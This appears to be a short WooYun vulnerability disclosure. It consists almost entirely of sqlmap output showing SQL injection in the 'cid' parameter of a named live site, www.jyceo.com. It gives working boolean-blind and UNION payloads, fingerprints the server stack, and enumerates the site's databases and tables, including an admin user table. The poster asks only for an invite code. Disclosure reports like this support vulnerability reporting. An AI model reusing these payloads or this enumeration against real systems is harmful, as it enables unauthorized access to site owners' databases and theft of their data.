WooYun.org

不深入了，给个邀请码就好了
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=65 AND 2163=2163
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cid=-1167 UNION ALL SELECT NULL,NULL,CONCAT(0x7170776a71,0x64697a64
424e734a6a67,0x716f657371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[21:08:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5
[21:08:29] [INFO] fetching database names
[21:08:29] [INFO] the SQL query used returns 2 entries
[21:08:29] [INFO] resumed: "information_schema","information_schema"
[21:08:29] [INFO] resumed: "pkufdc","pkufdc"
[21:08:29] [INFO] fetching tables for databases: 'information_schema, pkufdc'
[21:08:29] [INFO] the SQL query used returns 36 entries
Database: pkufdc
[8 tables]
+---------------------------------------+
| admin_user |
| lyb |
| n_article |
| n_class |
| n_kwd |
| n_tag |
| webconfig |
| zxbmb |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[21:08:29] [INFO] fetched data logged to text files under 'Y:\Python27\sqlmap\ou
tput\www.jyceo.com'
[*] shutting down at 21:08:29